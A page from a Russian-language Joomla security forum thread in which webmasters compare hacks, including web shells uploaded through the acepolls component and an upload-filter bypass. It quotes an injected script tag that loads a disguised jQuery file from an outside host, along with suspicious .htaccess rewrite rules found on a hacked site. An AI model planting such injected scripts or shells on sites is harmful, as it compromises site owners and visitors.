Компоненты и скрипты для защиты сайта. Логи атак на сайты - страница 10 - Безопасность сайтов на Joomla

Про пользователя - может да, а может и нет. Логи доступа могут подсказать. Скорее всего взломан именно сайт. Вы про root или пользователя аккаунта?

Вот ведь засранцы - такой баг прозевали, а я думаю какого лешего кто то загружает на мои сайты всягое Г
(Перевод: Недостаточная фильтрация приводит к возможности обхода ограничений на загрузку файлов.)

эти черти уже в открытую продают, во черти-то
щас учащиеся общеобразовательных учреждении накупят и третья волна попрет... или какая там уже...

закачали 2 шелла
/home/****/public_html/site1/components/com_acepolls/xmikm3.php
/home/****/public_html/site2/libraries/cms/version/umps75.php

как я понял нашли дырку в компоненте голосовалка acepolls и в библиотеке

VPS ? с разными аккаунтами для всех сайтов?
А зачем ftp, а SSH ?

<script language="JavaScript" src="http://stummann.net/steffen/google-analytics/jquery-1.6.5.min.js" type="text/javascript"></script>

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f

RewriteRule index.php.* - [L]

RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f

RewriteRule ^(.*) index.php?id=$1

Для того, чтобы эти файлы грузились на сайт, где то оставлена "дыра". Ищите ее. До тех пор, пока не заделаете дыры, взломы продолжаться.